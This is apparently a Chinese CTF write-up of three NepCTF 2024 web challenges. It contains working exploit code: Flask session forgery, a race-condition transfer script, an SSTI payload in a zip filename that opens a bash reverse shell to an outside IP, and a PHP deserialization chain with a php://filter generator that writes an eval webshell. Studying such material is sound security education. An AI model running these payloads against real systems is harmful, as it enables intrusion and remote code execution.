NepCTF 2024-菜鸟赛后总结-Web

发布于 2024-09-04  104 次阅读


蹦蹦炸弹(boom_it)

源代码

from flask import Flask, render_template, request, session, redirect, url_for
import threading
import random
import string
import datetime
import rsa
from werkzeug.utils import secure_filename
import os
import subprocess
(pubkey, privkey) = rsa.newkeys(2048)
app = Flask(__name__)
app.secret_key = "super_secret_key"
UPLOAD_FOLDER = 'templates/uploads'
ALLOWED_EXTENSIONS = {'png', 'jpg', 'txt'}
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/admin', methods=['GET', 'POST'])
def admin():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username == 'admin' and password == users.get('admin', {}).get('password'):
session['admin_logged_in'] = True
return redirect(url_for('admin_dashboard'))
else:
return "Invalid credentials", 401
return render_template('admin_login.html')
@app.route('/admin/dashboard', methods=['GET', 'POST'])
def admin_dashboard():
if not session.get('admin_logged_in'):
return redirect(url_for('admin'))
if request.method == 'POST':
if 'file' in request.files:
file = request.files['file']
if file.filename == '':
return 'No selected file'
filename = file.filename
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return 'File uploaded successfully'
cmd_output = ""
if 'cmd' in request.args:
if os.path.exists("lock.txt"):  # 检查当前目录下是否存在lock.txt
cmd = request.args.get('cmd')
try:
cmd_output = subprocess.check_output(cmd, shell=True).decode('utf-8')
except Exception as e:
cmd_output = str(e)
else:
cmd_output = "lock.txt not found. Command execution not allowed."
return render_template('admin_dashboard.html', users=users, cmd_output=cmd_output, active_tab="cmdExecute")
@app.route('/admin/logout')
def admin_logout():
session.pop('admin_logged_in', None)
return redirect(url_for('index'))
# Generate random users
def generate_random_users(n):
users = {}
for _ in range(n):
username = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
users[username] = {"password": password, "balance": 2000}
return users
users = generate_random_users(1000)
users["HRP"] = {"password": "HRP", "balance": 6000}
# Add an admin user with a random password
admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
users["admin"] = {"password": admin_password, "balance": 0}
flag_price = 10000
flag = admin_password  # The flag is the password of the admin user
mutex = threading.Lock()
@app.route('/')
def index():
if "username" in session:
return render_template("index.html", logged_in=True, username=session["username"], balance=users[session["username"]]["balance"])
return render_template("index.html", logged_in=False)
@app.route('/reset', methods=['GET'])
def reset():
global users
users = {}  # Clear all existing users
users = generate_random_users(1000)
users["HRP"] = {"password": "HRP", "balance": 6000}
global admin_password
admin_password={}
global flag
# Add an admin user with a random password
admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
flag=admin_password
users["admin"] = {"password": admin_password, "balance": 0}
return redirect(url_for('index'))
@app.route('/login', methods=["POST"])
def login():
username = request.form.get("username")
password = request.form.get("password")
if username in users and users[username]["password"] == password:
session["username"] = username
return redirect(url_for('index'))
return "Invalid credentials", 403
@app.route('/logout')
def logout():
session.pop("username", None)
return redirect(url_for('index'))
def log_transfer(sender, receiver, amount):
def encrypt_data_with_rsa(data, pubkey):
for _ in range(200):  # Encrypt the data multiple times
encrypted_data = rsa.encrypt(data.encode(), pubkey)
return encrypted_data.hex()
timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')
# Encrypt the amount and timestamp
encrypted_amount = encrypt_data_with_rsa(str(amount), pubkey)
encrypted_timestamp = encrypt_data_with_rsa(timestamp, pubkey)
log_data = f"{encrypted_timestamp} - Transfer from {sender} to {receiver} of encrypted amount {encrypted_amount}\n"
for _ in range(1): 
log_data += f"Transaction initiated from device: {random.choice(['Mobile', 'Web', 'ATM', 'In-Branch Terminal'])}\n"
log_data += f"Initiator IP address: {random.choice(['192.168.1.', '10.0.0.', '172.16.0.'])}{random.randint(1, 254)}\n"
log_data += f"Initiator geolocation: Latitude {random.uniform(-90, 90):.6f}, Longitude {random.uniform(-180, 180):.6f}\n"
log_data += f"Receiver's last login device: {random.choice(['Mobile', 'Web', 'ATM'])}\n"
log_data += f"Associated fees: ${random.uniform(0.1, 3.0):.2f}\n"
log_data += f"Remarks: {random.choice(['Regular transfer', 'Payment for invoice #'+str(random.randint(1000,9999)), 'Refund for transaction #'+str(random.randint(1000,9999))])}\n"
log_data += "-"*50 + "\n"
with open('transfer_log.txt', 'a') as f:
f.write(log_data)
@app.route('/transfer', methods=["POST"])
def transfer():
if "username" not in session:
return "Not logged in", 403
receivers = request.form.getlist("receiver")
amount = int(request.form.get("amount"))
if amount <0:
return "Insufficient funds", 400
logging_enabled = request.form.get("logs", "false").lower() == "true"
if session["username"] in receivers:
return "Cannot transfer to self", 400
for receiver in receivers:
if receiver not in users:
return f"Invalid user {receiver}", 400
total_amount = amount * len(receivers)
if users[session["username"]]["balance"] >= total_amount:
for receiver in receivers:
if logging_enabled:
log_transfer(session["username"], receiver, amount)
mutex.acquire()
users[session["username"]]["balance"] -= amount
users[receiver]["balance"] += amount
mutex.release()
return redirect(url_for('index'))
return "Insufficient funds", 400
@app.route('/buy_flag')
def buy_flag():
if "username" not in session:
return "Not logged in", 403
if users[session["username"]]["balance"] >= flag_price:
users[session["username"]]["balance"] -= flag_price
return f"Here is your flag: {flag}"
return "Insufficient funds", 400
@app.route('/get_users', methods=["GET"])
def get_users():
num = int(request.args.get('num', 1000))
selected_users = random.sample(list(users.keys()), num)
return {"users": selected_users}
@app.route('/view_balance/<username>', methods=["GET"])
def view_balance(username):
if username in users:
return {"username": username, "balance": users[username]["balance"]}
return "User not found", 404
@app.route('/force_buy_flag', methods=["POST"])
def force_buy_flag():
if "username" not in session or session["username"] != "HRP":
return "Permission denied", 403
target_user = request.form.get("target_user")
if target_user not in users:
return "User not found", 404
if users[target_user]["balance"] >= flag_price:
users[target_user]["balance"] -= flag_price
return f"User {target_user} successfully bought the flag!,"+f"Here is your flag: {flag}"
return f"User {target_user} does not have sufficient funds", 400
if __name__ == "__main__":
app.run(host='0.0.0.0',debug=False)

解法一:

可见代码中的app.secret_key = "super_secret_key"

所以直接伪造session使用工具flask_session_cookie_manager3.py可以计算出session,实现伪造登录后台

(python310) PS C:\flask-session-cookie解密> python .\flask_session_cookie_manager3.py encode -s "super_secret_key" -t "{'username': 'admin'}"
eyJ1c2VybmFtZSI6ImFkbWluIn0.ZtCZng.MfJwQyypCsPV83Kswtr4q-t8hRE
(python310) PS C:\flask-session-cookie解密> python .\flask_session_cookie_manager3.py encode -s "super_secret_key" -t "{'admin_logged_in':'Ttue'}"
eyJhZG1pbl9sb2dnZWRfaW4iOiJUdHVlIn0.ZtCZvg.YV4sZJS4ac5BXhEmy2EiylQmOvM

登录后得到用户名和密码逐个转账给admin购买flagadmin密码)

d01a32097475c8dd917f40e44d8e1600

然后正式登录更新凭证

执行shell要有lock.txt文件

1a9199cf344fb01ee4ba73e116e3b64f

通过抓包修改文件名上传到对应目录

然后成功执行shell,但是权限很低

2d992d6a563500e7bd980911b9b37b8f

(以下为未解出的部分,有看到这个进程但是没怀疑,不知道什么是Xinetd,我太菜了)

ps -ef

image-20240830002012103

Xinetd的配置文件在/etc/xinetd.conf

cat /etc/xinetd.conf

启动从/etc/xinetd.d/

cat /etc/xinetd.d/*

可以找到

image-20240830002805946

同时我们可知我们有start.sh的修改权限

所以反弹shell

修改start.sh然后nc 127.0.0.1 8888

image-20240830020159862

NepCTF{b3c11984-3619-43de-a278-c89ba5997b02}

解法二:

签到题,分析源码可以知道在转账的时候存在锁,mutex锁的操作只锁了用户的金额操作,没有锁检测操作,导致可以同时成功的发起转账请求(因为此时金额还没变化都是原始金额,可以通过if判断)但是只是如此是不足以稳定的利用并发漏洞的,还要注意logs参数设置为true开启log_transfer来达到秒级的IO拖延。(这也就是为什么这个题叫蹦蹦炸弹了只需多线程提交转账请求刷取就可以完成第一小关)

mutex锁是检查运行的只能有一个线程来执行一个区间的代码

    total_amount = amount * len(receivers)
if users[session["username"]]["balance"] >= total_amount:
for receiver in receivers:
if logging_enabled:
log_transfer(session["username"], receiver, amount)
mutex.acquire()
users[session["username"]]["balance"] -= amount
users[receiver]["balance"] += amount
mutex.release()
return redirect(url_for('index'))

此处漏洞产生是因为if的判断没有放到锁内部,因此同时的多次请求都符合判断一起进入了下一处

import requests                  
import threading                  
import re                  
def transfer_to_user(session, user, amount):                  
transfer_url = "https://neptune-47585.nepctf.lemonprefect.cn/transfer"                  
data = {                  
"receiver": user,                  
"amount": amount,                  
"logs":"true",                  
}                  
session.post(transfer_url, data=data)                  
session = requests.Session()                  
login_url = "https://neptune-47585.nepctf.lemonprefect.cn/login"                  
login_data = {                  
"username": "HRP",                  
"password": "HRP"                  
}                  
session.post(login_url, data=login_data)                  
reset_url = "https://neptune-47585.nepctf.lemonprefect.cn/reset"                  
session.get(reset_url, data="")                  
get_users_url = "https://neptune-47585.nepctf.lemonprefect.cn/get_users?num=1"                  
response = session.get(get_users_url)                  
first_user = response.json()["users"][0]                  
threads = []                  
for _ in range(100):                  
t = threading.Thread(target=transfer_to_user, args=(session, first_user, 3000))                  
t.start()                  
threads.append(t)                  
for t in threads:                  
t.join()                  
print(f"Transferred 100 units to {first_user} 100 times!")      

NepDouble

贴源码

from flask import Flask, request, render_template, render_template_string
from zipfile import ZipFile
import os
import datetime
import hashlib
from jinja2 import Environment, FileSystemLoader
app = Flask(__name__, template_folder="static")
app.config["MAX_CONTENT_LENGTH"] = 1 * 1024 * 1024
UPLOAD_FOLDER = "/app/uploads"
app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
template_env = Environment(loader=FileSystemLoader("static"), autoescape=True)
def render_template(template_name, **context):
template = template_env.get_template(template_name)
return template.render(**context)
def render_template_string(template_string, **context):
template = template_env.from_string(template_string)
return template.render(**context)
@app.route("/", methods=["GET", "POST"])
def main():
if request.method != "POST":
return "Please use POST method to upload files."
try:
clear_uploads_folder()
files = request.files.get("tp_file", None)
if not files:
return "No file uploaded."
file_size = len(files.read())
files.seek(0)
file_extension = files.filename.rsplit(".", 1)[-1].lower()
if file_extension != "zip":
return "Invalid file type. Please upload a .zip file."
timestamp = datetime.datetime.now().strftime("%Y%m%d%H%M%S")
md5_dir_name = hashlib.md5(timestamp.encode()).hexdigest()
unzip_folder = os.path.join(app.config["UPLOAD_FOLDER"], md5_dir_name)
os.makedirs(unzip_folder, exist_ok=True)
with ZipFile(files) as zip_file:
zip_file.extractall(path=unzip_folder)
files_list = []
for root, dirs, files in os.walk(unzip_folder):
for file in files:
print(file)
file_path = os.path.join(root, file)
relative_path = os.path.relpath(file_path, app.config["UPLOAD_FOLDER"])
link = f'<a href="/cat?file={relative_path}">{file}</a>'
files_list.append(link)
return render_template_string("<br>".join(files_list))
except ValueError:
return "Invalid filename."
except Exception as e:
return "An error occurred. Please check your file and try again."
@app.route("/cat")
def cat():
file_path = request.args.get("file")
if not file_path:
return "File path is missing."
new_file = os.path.join(app.config["UPLOAD_FOLDER"], file_path)
if os.path.commonprefix(
[os.path.abspath(new_file), os.path.abspath(app.config["UPLOAD_FOLDER"])]
) != os.path.abspath(app.config["UPLOAD_FOLDER"]):
return "Invalid file path."
if os.path.islink(new_file):
return "Symbolic links are not allowed."
try:
filename = file_path.split("/")[-1]
content = read_large_file(new_file)
return render_template(
"test.html", content=content, filename=filename, dates=Exec_date()
)
except FileNotFoundError:
return "File not found."
except IOError as e:
return f"Error reading file: {str(e)}"
def Exec_date():
d_res = os.popen("date").read()
return d_res.split(" ")[-1].strip() + " " + d_res.split(" ")[-3]
def clear_uploads_folder():
for root, dirs, files in os.walk(app.config["UPLOAD_FOLDER"], topdown=False):
for file in files:
os.remove(os.path.join(root, file))
for dir in dirs:
os.rmdir(os.path.join(root, dir))
def read_large_file(file_path):
content = ""
with open(file_path, "r") as file:
for line in file:
content += line
return content
if __name__ == "__main__":
app.run("0.0.0.0", port="8777", debug=False)

分析源码可知是ssti注入

由于render_template_string使用了from_string,所以可以执行代码

继续分析可以知道是文件名的部分,所以构造文件名触发(要使用Linux,win下对文件名限制多,Linux只限制/,所以转个码就可以解决)

import requests
import zipfile
import os
from fenjing import exec_cmd_payload
import html
UPLOAD_URL = "https://neptune-44590.nepctf.lemonprefect.cn/"
if __name__ == "__main__":
global resptt
respttt = ""
shell_payload='{{cycler.next.__globals__.__builtins__.__import__(\'os\').popen(\'bash -c "bash -i >& \\x2Fdev\\x2Ftcp\\x2F47.109.76.173\\x2F8979 0>&1"\').read()}}'
yyy_filename = shell_payload
with open(yyy_filename, "w") as f:
f.write(shell_payload)
zip_filename = "tempyyy.zip"
with zipfile.ZipFile(zip_filename, "w") as zipf:
zipf.write(yyy_filename)
with open(zip_filename, "rb") as f:
files = {"tp_file": (zip_filename, f)}
resp = requests.post(UPLOAD_URL, files=files, timeout=5)
os.remove(zip_filename)
os.remove(yyy_filename)
if resp.status_code == 200:
print("文件上传成功。")
resp_text = resp.text
start = resp_text.find('>') + 1  # 查找 '>' 的位置并移动到内容的开始
end = resp_text.find('</a>')     # 查找 '</a>' 的位置
encoded_text = resp_text[start:end]  # 提取 <a> 标签内的内容
decoded_text = html.unescape(encoded_text)
print(decoded_text)
else:
print(f"未响应")
resptt = "未响应"

PHP_MASTER!!

源码

<?php
highlight_file( __FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class A{
public $key;
public function readflag(){
if($this->key=== "\0key\0"){
$a = $_POST[1];
$contents = file_get_contents($a);
file_put_contents($a, $contents);
}
}
}
class B
{
public $b;
public function __tostring()
{
if(preg_match("/\[|\]/i", $_GET['nep'])){
die("NONONO!!!");
}
$str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]");
echo $str;
if ($str==='NepCTF]'){
return ($this->b) ();
}
}
}
class C
{
public $s;
public $str;
public function __construct($s)
{
$this->s = $s;
}
public function __destruct()
{
echo $this ->str;
}
}
$ser = serialize(new C($_GET['c']));
$data = str_ireplace("\0","00",$ser);
echo $ser;
unserialize($data);

str_ireplace("\0","00",$ser);可以得知这个是字符增加型字符串逃逸

因为前面是序列化后的结果,我们要靠这个替换来达成对str的操控,所以要先分析str要如何构造

得到str应该构造的pop链后再来构造逃逸

echo $this ->str可以触发__tostring()

if(preg_match("/\[|\]/i", $_GET['nep']))要求不能有[],substrstr()是取[]之间的字符返回

要达成$str==='NepCTF]'

这里要利用mb_strposmb_substr执行差异导致的漏洞 参见

mb_strpos这个函数在遇到%9f这个不可见字符时,会自动忽略,而mb_substr则不会忽略,导致截断的字符串往前移动了一个位置。

mb_strpos函数对于%f0正常当成一个字符识别,但是mb_substr就很神奇了,他会把%f0连着后面的三个字符当成一个字符来识别,所以可以看到这里明显是少了三个字符

所以%f0111会吞掉3个字符%9f则会还原一个

image-20240904035551828

到此处,非预期解$b=phpinfo()直接在变量中找到flag

构造出B$bphpinfo

http://localhost:900/?nep1=%f0111%f0111%f0111%f0111%9f%9f&nep=Nep&c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}

预期解继续往下分析

PHP 回调函数格式PHP 中,如果有一个数组 array($object, 'methodName'),并将其作为函数调用,PHP 会尝试在指定的对象 $object 上调用 'methodName' 方法

(做题的时候不知道这个,哭了)

因此return ($this->b) ();可以触发到readflag()

然后,filter chain(过滤器链)是什么,我不到啊QwQ

新知识点--filter chain(过滤器链)

filter chain(过滤器链) 利用与原理参考

对伪协议php://filter的利用

对于每个字符,根据 $conversions 数组提供的转换链,将相应的转换过滤器应用于该字符,然后再应用每个转换链后,对结果进行Base64解码、再编码,然后转为UTF-7编码,确保转换后的字符能够在Web环境下正确处理

以下来源自晨曦师傅的wp

晨曦师傅的exp($conversions估计以后还会用上XD:)

<?php
$base64_payload = "PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Pz4"; /*<?php @eval($_REQUEST['cmd']);?>*/
$conversions = array(
'/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=index.php";
echo $final_payload;

所以最后构造

class A{
public $key="\\00key\\00";
}
$exp=new C('a');
$exp->str=new B;
$exp->str->b=array(0=>new A,1=>'readflag');
echo serialize($exp);

将前面部分截去,应用上str_ireplace("\0","00",$ser);字符增加型字符串逃逸,得到

http://localhost:900/?nep1=%f0111%f0111%f0111%f0111%9f%9f&nep=Nep&c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}

然后post传上面构造出的链,会覆盖index.php为马,之后直接传参操控即可

QQ:2219349024
最后更新于 2024-09-04